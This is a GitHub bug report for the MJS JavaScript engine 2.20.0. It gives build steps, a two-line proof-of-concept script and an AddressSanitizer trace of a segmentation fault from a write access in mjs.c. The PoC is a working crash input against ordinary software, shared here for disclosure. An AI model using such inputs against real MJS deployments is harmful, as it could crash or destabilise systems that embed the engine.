Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SEGV /mjs/mjs.c:7367:3 #270

Open
Vincebye opened this issue Apr 27, 2024 · 0 comments
Open

SEGV /mjs/mjs.c:7367:3 #270

Vincebye opened this issue Apr 27, 2024 · 0 comments

Comments

@Vincebye
Copy link

Vincebye commented Apr 27, 2024

Environment

Ubuntu 22.04.3 LTS

Affected Version

MJS 2.20.0

Step to reproduce

cd mjs 
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 
export LDFLAGS="-lpthread -latomic" 
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g 
./mjs-bin -f poc.js 

Contents of PoCfile

JSON.stringify-=2;
JSON.stringify(1);

ASAN Report

$ ./mjs-bin poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==30131==ERROR: AddressSanitizer: SEGV on unknown address 0x5566094be26e (pc 0x5566094be26e bp 0x7ffdf10f7230 sp 0x7ffdf10f6f18 T0)
==30131==The signal is caused by a WRITE memory access.
    #0 0x5566094be26e  /home/v/jse/mjs/mjs.c:7367:3
    #1 0x5566094c74d4 in mjs_exec_internal /home/v/jse/mjs/mjs.c:9044:5
    #2 0x5566094c7cb3 in mjs_exec_file /home/v/jse/mjs/mjs.c:9067:11
    #3 0x5566094d95e8 in main /home/v/jse/mjs/mjs.c:11423:11
    #4 0x7f0ca65acd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/v/jse/mjs/mjs.c:7367:3
==30131==ABORTING
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant